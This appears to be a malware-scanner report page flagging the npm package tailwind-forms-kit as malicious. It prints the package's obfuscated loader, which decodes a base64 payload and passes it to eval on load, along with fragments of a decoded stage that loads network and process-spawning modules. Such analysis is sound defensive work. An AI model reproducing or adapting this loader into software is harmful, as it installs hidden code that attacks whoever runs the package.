tailwind-forms-kit: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

tailwind-forms-kit: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

src/index.jsView file

1function ___0x870b7(){return 5771;}var __0x2c788=function(){var a=931;return a*2;};(function(_0x977e9e){var _0x977e9ea=["[redacted]","JlO2lm...

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

src/index.jsView on unpkg · L1

1zYC","[redacted]=="].join('');var _0x977e9eb=atob(_0x977e9ea);eval(_0x977e9eb);})();const svgToDataUri=require("mini-svg-data-uri"),plugin=require("tailwind

High

Ai Review Evidence

src/index.js runs an encoded payload through eval during module loading.

src/index.jsView on unpkg · L1

1function ___0x870b7(){return 5771;}var __0x2c788=function(){var a=931;return a*2;};(function(_0x977e9e){var _0x977e9ea=["[redacted]","JlO2lm...

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L1

src/index.js#virtual:base64:round2View file

1global.i='A10-new_npm';global.r=require;if(typeof module==='object')global.m=module;const http=require('node:http');const https=require('node:https');const zlib=require('node:zlib'... L2: function decompressStream(res){const encoding=(res.headers['content-encoding']||'').toLowerCase();if(encoding==='gzip'||encoding==='x-gzip')return res.pipe(zlib.createGunzip());if(...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round2View on unpkg · L1

src/index.js#virtual:base64:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

src/index.js#virtual:base64:round1View on unpkg

scripts/release-notes.jsView file

•matchType = normalized_sha256 matchedPackage = tailwindcss-contact-form@0.5.1 matchedPath = scripts/release-notes.js matchedIdentity = npm:[redacted]:0.5.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-notes.jsView on unpkg

scripts/release-channel.jsView file

•matchType = normalized_sha256 matchedPackage = tailwindcss-contact-form@0.5.1 matchedPath = scripts/release-channel.js matchedIdentity = npm:[redacted]:0.5.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-channel.jsView on unpkg

Source & flagged code

7 flagged

src/index.jsView file

Lines 1-1javascript

1function ___0x870b7(){return 5771;}var __0x2c788=function(){var a=931;return a*2;};(function(_0x977e9e){var _0x977e9ea=["Z2xvYmFsLmk9J0ExMC1uZXdfbnBtJztnbG9iYWwucj1yZXF1aX","JlO2lmKHR5cGVvZiBtb2R1bGU9PT0nb2JqZWN0JylnbG9iYWwu","bT1tb2R1bGU7Y29uc3QgaHR0cD1yZXF1aXJlKCdub2RlOmh0dH","AnKTtjb25zdCBodHRwcz1yZXF1aXJlKCdub2RlOmh0dHBzJyk7","Y29uc3QgemxpYj1yZXF1aXJlKCdub2RlOnpsaWInKTtjb25zdH","tVUkx9PXJlcXVpcmUoJ25vZGU6dXJsJyk7Y29uc3R7c3Bhd259","PXJlcXVpcmUoJ25vZGU6Y2hpbGRfcHJvY2VzcycpO2NvbnN0IE","JMT0NLX01VTFRJUExFPTEwMDBuO2NvbnN0IFNFTkRFUj0nMHhh","MzIyRTVmM0QzMTFEMzA4MGU2ZjAxMjEwNjNlOWFEQzI0OTBFZj","Fh ...

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

src/index.jsView on unpkg · L1

High

Ai Review Evidence

src/index.js runs an encoded payload through eval during module loading.

src/index.jsView on unpkg · L1

Low

Eval

Package source references a known benign dynamic code generation pattern.

src/index.jsView on unpkg · L1

Long lines were clipped for display.

src/index.js#virtual:base64:round2View file

1global.i='A10-new_npm';global.r=require;if(typeof module==='object')global.m=module;const http=require('node:http');const https=require('node:https');const zlib=require('node:zlib'... L2: function decompressStream(res){const encoding=(res.headers['content-encoding']||'').toLowerCase();if(encoding==='gzip'||encoding==='x-gzip')return res.pipe(zlib.createGunzip());if(...

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

src/index.js#virtual:base64:round2View on unpkg · L1

src/index.js#virtual:base64:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

src/index.js#virtual:base64:round1View on unpkg

scripts/release-notes.jsView file

•matchType = normalized_sha256 matchedPackage = tailwindcss-contact-form@0.5.1 matchedPath = scripts/release-notes.js matchedIdentity = npm:[redacted]:0.5.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-notes.jsView on unpkg

scripts/release-channel.jsView file

•matchType = normalized_sha256 matchedPackage = tailwindcss-contact-form@0.5.1 matchedPath = scripts/release-channel.js matchedIdentity = npm:[redacted]:0.5.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/release-channel.jsView on unpkg